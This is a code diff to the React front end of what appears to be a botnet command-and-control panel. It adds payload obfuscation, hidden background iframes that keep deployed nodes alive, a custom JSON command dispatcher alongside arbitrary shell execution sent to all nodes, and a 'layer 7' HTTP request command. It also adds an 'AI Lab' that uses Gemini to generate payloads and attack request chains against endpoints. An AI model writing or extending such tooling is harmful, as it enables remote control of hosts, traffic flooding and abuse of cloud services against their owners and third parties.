Update src/App.tsx

src/App.tsx

@@ -1,4 +1,4 @@
-import React, { useState, useEffect } from 'react';
+import React, { useState, useEffect, useRef } from 'react';
 import { 
   Activity, 
   Terminal, 
@@ -18,6 +18,16 @@ import { cn } from './lib/utils';
 export default function App() {
   const [activeTab, setActiveTab] = useState('dashboard');
   const [deployments, setDeployments] = useState<string[]>([]);
+  const [deployLogs, setDeployLogs] = useState<string[]>([]);
+  const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]);
+  const [iframeKey, setIframeKey] = useState(0);
+  const prevNodesRef = useRef(new Map());
+
+  const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => {
+    const id = Math.random().toString();
+    setToasts(t => [...t, {id, msg, type}]);
+    setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000);
+  };
 
   useEffect(() => {
     const fetchStatus = async () => {
@@ -25,18 +35,52 @@ export default function App() {
         const res = await fetch('/api/status');
         const json = await res.json();
         setDeployments(json.deployments || []);
+        if (json.deployLogs) setDeployLogs(json.deployLogs);
+        
+        // Handle node online/offline toasts
+        if (json.nodes) {
+          const currentNodes = new Map();
+          json.nodes.forEach((n: any) => {
+            const isActive = Date.now() - n.lastSeen < 20000;
+            currentNodes.set(n.id, isActive);
+            
+            const wasActive = prevNodesRef.current.get(n.id);
+            if (wasActive === undefined) {
+              addToast(`New Node Connected: ${n.id} (${n.type})`, 'success');
+            } else if (!wasActive && isActive) {
+              addToast(`Node Online: ${n.id}`, 'success');
+            } else if (wasActive && !isActive) {
+              addToast(`Node Offline: ${n.id}`, 'warning');
+            }
+          });
+          prevNodesRef.current = currentNodes;
+        }
       } catch (err) {}
     };
     fetchStatus();
-    const iv = setInterval(fetchStatus, 30000);
+    const iv = setInterval(fetchStatus, 5000);
     return () => clearInterval(iv);
   }, []);
 
   return (
     <div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
+      {/* Toast Container */}
+      <div className="fixed top-4 right-4 z-50 flex flex-col gap-2">
+        {toasts.map(t => (
+          <div key={t.id} className={cn(
+            "px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2",
+            t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' :
+            t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' :
+            'bg-slate-800 border-slate-700 text-slate-200'
+          )}>
+            {t.msg}
+          </div>
+        ))}
+      </div>
+
       <div className="hidden">
         {deployments.map(url => (
-          <iframe key={url} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
+          <iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
         ))}
       </div>
       <div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
@@ -66,6 +110,18 @@ export default function App() {
             icon={<Globe size={18} />} 
             label="Cloud Deploy" 
           />
+          <SidebarButton 
+            active={activeTab === 'ai_lab'} 
+            onClick={() => setActiveTab('ai_lab')} 
+            icon={<Cpu size={18} />} 
+            label="AI Lab" 
+          />
+          <SidebarButton 
+            active={activeTab === 'docs'} 
+            onClick={() => setActiveTab('docs')} 
+            icon={<FileText size={18} />} 
+            label="Documentation" 
+          />
           <SidebarButton 
             active={activeTab === 'cmds_network'} 
             onClick={() => setActiveTab('cmds_network')} 
@@ -103,6 +159,8 @@ export default function App() {
             {activeTab === 'cmds_network' && <CommandsTab category="network" />}
             {activeTab === 'cmds_system' && <CommandsTab category="system" />}
             {activeTab === 'cmds_file' && <CommandsTab category="file" />}
+            {activeTab === 'ai_lab' && <AILabTab />}
+            {activeTab === 'docs' && <DocsTab />}
             {activeTab === 'settings' && <SettingsTab />}
           </div>
         </main>
@@ -149,6 +207,7 @@ function Card({ title, children, icon }: { title: string, children: React.ReactN
 function DashboardTab() {
   const [data, setData] = useState({ nodes: [], reports: [] });
   const [filter, setFilter] = useState('all');
+  const [selected, setSelected] = useState<Set<string>>(new Set());
 
   useEffect(() => {
     const fetchStatus = async () => {
@@ -175,6 +234,30 @@ function DashboardTab() {
     setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
   };
 
+  const removeSelected = async () => {
+    for (const id of Array.from(selected)) {
+      await removeNode(id);
+    }
+    setSelected(new Set());
+  };
+
+  const toggleSelect = (id: string) => {
+    setSelected(prev => {
+      const n = new Set(prev);
+      if (n.has(id)) n.delete(id);
+      else n.add(id);
+      return n;
+    });
+  };
+
+  const toggleAll = (visibleNodes: any[]) => {
+    if (selected.size === visibleNodes.length && visibleNodes.length > 0) {
+      setSelected(new Set());
+    } else {
+      setSelected(new Set(visibleNodes.map(n => n.id)));
+    }
+  };
+
   const filteredNodes = data.nodes.filter((n: any) => {
     const isActive = Date.now() - n.lastSeen < 20000;
     if (filter === 'active') return isActive;
@@ -203,16 +286,26 @@ function DashboardTab() {
       </div>
 
       <Card title="Connected Nodes" icon={<Server size={18} />}>
-        <div className="flex gap-4 mb-4 items-center px-2">
-          <label className="text-sm font-medium text-slate-400">Filter:</label>
-          <select 
-            className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500"
-            value={filter} onChange={e => setFilter(e.target.value)}
-          >
-            <option value="all">All Nodes</option>
-            <option value="active">Active ({'<'} 20s skip)</option>
-            <option value="inactive">Inactive</option>
-          </select>
+        <div className="flex gap-4 mb-4 items-center justify-between px-2">
+          <div className="flex gap-4 items-center">
+            <label className="text-sm font-medium text-slate-400">Filter:</label>
+            <select 
+              className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors"
+              value={filter} onChange={e => setFilter(e.target.value)}
+            >
+              <option value="all">All Nodes</option>
+              <option value="active">Active ({'<'} 20s skip)</option>
+              <option value="inactive">Inactive</option>
+            </select>
+          </div>
+          {selected.size > 0 && (
+            <button 
+              onClick={removeSelected}
+              className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all"
+            >
+              Terminate ({selected.size})
+            </button>
+          )}
         </div>
         {filteredNodes.length === 0 ? (
           <div className="text-center py-10 text-slate-400">
@@ -225,6 +318,14 @@ function DashboardTab() {
             <table className="w-full text-left text-sm whitespace-nowrap">
               <thead className="text-slate-500 border-b border-white/5">
                 <tr className="h-10">
+                  <th className="font-medium px-4 w-10">
+                    <input 
+                      type="checkbox" 
+                      className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer" 
+                      checked={filteredNodes.length > 0 && selected.size === filteredNodes.length}
+                      onChange={() => toggleAll(filteredNodes)}
+                    />
+                  </th>
                   <th className="font-medium px-2">Node ID</th>
                   <th className="font-medium">Environment</th>
                   <th className="font-medium">IP Addr</th>
@@ -241,7 +342,15 @@ function DashboardTab() {
                   const uptimeS = Math.floor((Date.now() - (node.firstSeen || Date.now())) / 1000);
                   const uptimeStr = uptimeS > 3600 ? `${(uptimeS / 3600).toFixed(1)}h` : uptimeS > 60 ? `${Math.floor(uptimeS / 60)}m` : `${uptimeS}s`;
                   return (
-                  <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12">
+                  <tr key={node.id} className="hover:bg-white/5 transition-colors group h-12 cursor-pointer" onClick={() => toggleSelect(node.id)}>
+                    <td className="px-4" onClick={(e) => e.stopPropagation()}>
+                      <input 
+                        type="checkbox" 
+                        className="rounded border-none bg-white/10 cursor-pointer accent-indigo-500"
+                        checked={selected.has(node.id)}
+                        onChange={() => toggleSelect(node.id)}
+                      />
+                    </td>
                     <td className="py-3 font-mono text-indigo-300 px-2">{node.id}</td>
                     <td className="py-3">
                       <span className="px-2.5 py-1 flex items-center justify-center w-max rounded-full border border-slate-700 bg-white/5 text-[10px] font-bold uppercase text-slate-400">
@@ -283,6 +392,7 @@ function DashboardTab() {
 function PayloadsTab() {
   const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
   const [activePayload, setActivePayload] = useState('hf_docker');
+  const [obfuscate, setObfuscate] = useState(false);
 
   const payloads = [
     { id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
@@ -298,16 +408,27 @@ function PayloadsTab() {
   ];
 
   useEffect(() => {
-    fetch(`/api/payloads/${activePayload}`)
+    fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
       .then(r => r.json())
       .then(d => setPayloadFiles(d.files || {}));
-  }, [activePayload]);
+  }, [activePayload, obfuscate]);
 
   return (
     <div className="flex flex-col gap-6">
       <div className="mb-2">
         <h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
         <p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
+        
+        <div className="mt-4 flex items-center gap-2">
+          <input 
+            type="checkbox" 
+            id="obfuscate" 
+            checked={obfuscate} 
+            onChange={(e) => setObfuscate(e.target.checked)}
+            className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer"
+          />
+          <label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label>
+        </div>
       </div>
 
       <div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
@@ -359,6 +480,174 @@ function PayloadsTab() {
   );
 }
 
+function AILabTab() {
+  const [prompt, setPrompt] = useState('');
+  const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
+  const [loading, setLoading] = useState(false);
+  const [result, setResult] = useState('');
+  const [errorMsg, setErrorMsg] = useState('');
+
+  const generate = async () => {
+    setLoading(true);
+    setErrorMsg('');
+    try {
+      let endpoint = '/api/ai/generate-payload';
+      let body: any = { prompt };
+      
+      if (mode === 'packets') endpoint = '/api/ai/generate-packets';
+      if (mode === 'evaluate') {
+        endpoint = '/api/ai/evaluate-payload';
+        body = { code: prompt };
+      }
+
+      const res = await fetch(endpoint, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify(body)
+      });
+      const data = await res.json();
+      if (data.error) setErrorMsg(data.error);
+      else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code);
+    } catch (e: any) {
+      setErrorMsg(e.message);
+    }
+    setLoading(false);
+  };
+
+  return (
+    <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
+      <div className="mb-2">
+        <h2 className="text-2xl font-bold text-white tracking-tight">AI Generation Lab</h2>
+        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
+          Describe the payload or sequence of actions you want to execute. The system will leverage Gemini to craft custom logic and valid action chains.
+        </p>
+      </div>
+
+      <div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
+        <Card title="AI Input" icon={<Cpu size={18} />}>
+          <div className="flex flex-col gap-4">
+            <div className="flex bg-black/20 rounded-lg p-1">
+              <button 
+                onClick={() => setMode('payload')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Gen Payload
+              </button>
+              <button 
+                onClick={() => setMode('packets')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Gen Packets
+              </button>
+              <button 
+                onClick={() => setMode('evaluate')}
+                className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'evaluate' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
+              >
+                Evaluate Code
+              </button>
+            </div>
+            
+            <textarea 
+              value={prompt}
+              onChange={(e) => setPrompt(e.target.value)}
+              placeholder={mode === 'evaluate' ? "Paste code to evaluate..." : mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."}
+              rows={6}
+              className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm"
+            />
+            <button 
+              onClick={generate}
+              disabled={loading || !prompt.trim()}
+              className={cn(
+                "px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
+                (loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30"
+              )}
+            >
+              {loading ? 'Processing...' : mode === 'evaluate' ? 'Evaluate & Improve' : 'Generate AI Routine'}
+            </button>
+            {errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>}
+          </div>
+        </Card>
+
+        <Card title="Generated Artifact" icon={<FileText size={18} />}>
+          {result ? (
+            <div className="flex flex-col h-full gap-3">
+              <div className="flex justify-end gap-2 px-1">
+                <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
+              </div>
+              <textarea 
+                value={result}
+                onChange={e => setResult(e.target.value)}
+                className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs"
+              />
+              <p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p>
+            </div>
+          ) : (
+            <div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50">
+              <Terminal size={32} className="mb-4 opacity-50" />
+              <p className="text-sm font-medium">Awaiting Generation...</p>
+            </div>
+          )}
+        </Card>
+      </div>
+    </div>
+  );
+}
+
+function DocsTab() {
+  return (
+    <div className="flex flex-col gap-6 max-w-3xl mx-auto w-full">
+      <div className="mb-2">
+        <h2 className="text-2xl font-bold text-white tracking-tight">Documentation & Custom Payloads</h2>
+        <p className="text-slate-400 mt-2 text-sm leading-relaxed">
+          Learn how to craft custom JSON payloads. The system translates these commands to instructions executed natively on connected nodes.
+        </p>
+      </div>
+
+      <Card title="Custom JSON Structure" icon={<FileText size={18} />}>
+        <div className="text-sm text-slate-300">
+          <p className="mb-4">
+            Under <strong>System Commands &gt; Custom JSON Command</strong>, you can dispatch arbitrary JSON payloads.
+            The structure should look like this:
+          </p>
+          <pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4">
+{`{
+  "type": "my_custom_action",
+  "payload": {
+    "arg1": "value",
+    "param2": 123
+  }
+}`}
+          </pre>
+          <p className="mb-4 text-emerald-400 font-medium">Node Processing</p>
+          <p className="mb-4">
+            When a node receives the command, it looks at the <code>cmd.type</code> parameter.
+            If the client implementation supports it, it executes the command and posts the resulting JSON output back to the control server.
+            If you want to add custom command handling to the Python or Node clients, just edit the source scripts downloaded from the `Node Payloads` tab
+            and add an <code>elif cmd_type == 'my_custom_action':</code> block!
+          </p>
+        </div>
+      </Card>
+
+      <Card title="Available Command Types" icon={<Terminal size={18} />}>
+        <div className="text-sm text-slate-300">
+          <ul className="space-y-4">
+            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
+              <strong className="text-white block mb-1">exec_shell</strong>
+              <p className="mb-2">Execute an arbitrary terminal command.</p>
+              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
+            </li>
+            <li className="p-3 bg-white/5 rounded-lg border border-white/5">
+              <strong className="text-white block mb-1">fetch_http_test</strong>
+              <p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
+              <code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code>
+            </li>
+          </ul>
+        </div>
+      </Card>
+    </div>
+  );
+}
+
 function SettingsTab() {
   const [hfToken, setHfToken] = useState('');
   const [ghToken, setGhToken] = useState('');
@@ -446,7 +735,7 @@ function DeployTab() {
       });
       const data = await res.json();
       if (data.error) throw new Error(data.error);
-      setStatus(`Success! Deployed to: ${data.url}`);
+      setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`);
     } catch (e: any) {
       setStatus(`Error: ${e.message}`);
     }
@@ -515,7 +804,7 @@ function DeployTab() {
             >
               <Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
             </button>
-            {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
+            {status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
           </div>
         </div>
       </Card>
@@ -626,29 +915,44 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
   const requiresDestPath = command === 'copy_file' || command === 'move_file';
   const requiresContent = command === 'write_file';
   const requiresPid = command === 'kill_process';
+  const requiresCustomJson = command === 'custom_json';
   
   const [fileContent, setFileContent] = useState('echo hello');
   const [destPath, setDestPath] = useState('/tmp/dest');
+  const [customJson, setCustomJson] = useState('{\n  "payload": {\n    "key": "value"\n  }\n}');
 
   const issueCommand = async () => {
     let payload: any = {};
-    if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
-    if (requiresHost) payload = { host };
-    if (requiresPorts) payload = { ...payload, ports: portsList };
-    if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
-    if (requiresShell) payload = { cmd: shellCmd };
-    if (requiresPath) payload = { path: filePath };
-    if (requiresDestPath) payload = { ...payload, destPath };
-    if (requiresContent) payload = { ...payload, content: fileContent };
-    if (requiresPid) payload = { pid: shellCmd }; // reuse shellCmd/input for PID
+    let finalType = command;
+
+    if (requiresCustomJson) {
+      try {
+        const parsed = JSON.parse(customJson);
+        if (parsed.type) finalType = parsed.type;
+        payload = parsed.payload || parsed;
+      } catch (e) {
+        setStatus('Invalid JSON payload');
+        return;
+      }
+    } else {
+      if (requiresTarget) payload = { ip, port: parseInt(port) || 80 };
+      if (requiresHost) payload = { host };
+      if (requiresPorts) payload = { ...payload, ports: portsList };
+      if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
+      if (requiresShell) payload = { cmd: shellCmd };
+      if (requiresPath) payload = { path: filePath };
+      if (requiresDestPath) payload = { ...payload, destPath };
+      if (requiresContent) payload = { ...payload, content: fileContent };
+      if (requiresPid) payload = { pid: shellCmd };
+    }
 
     try {
       await fetch('/api/commands', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ target: targetNode, type: command, payload, repeat })
+        body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat })
       });
-      setStatus(`Dispatched '${command}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
+      setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
       setTimeout(() => setStatus(''), 3000);
     } catch (e) {
       setStatus('Failed to issue command.');
@@ -727,6 +1031,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
                     <option value="exec_shell">Exec Shell Command</option>
                     <option value="reboot_system">Reboot System (Warning!)</option>
                     <option value="self_terminate">Terminate Client Process</option>
+                    <option value="custom_json">Custom JSON Command</option>
                   </optgroup>
                 )}
                 {category === 'file' && (
@@ -831,6 +1136,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
               </div>
             )}
 
+            {requiresCustomJson && (
+              <div className="border-t border-white/5 pt-5">
+                <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label>
+                <textarea 
+                  value={customJson}
+                  onChange={e => setCustomJson(e.target.value)}
+                  rows={6}
+                  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
+                  placeholder={'{\n  "type": "my_command",\n  "payload": { ... }\n}'}
+                />
+              </div>
+            )}
+
             {requiresInterval && (
               <div className="border-t border-white/5 pt-5">
                 <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>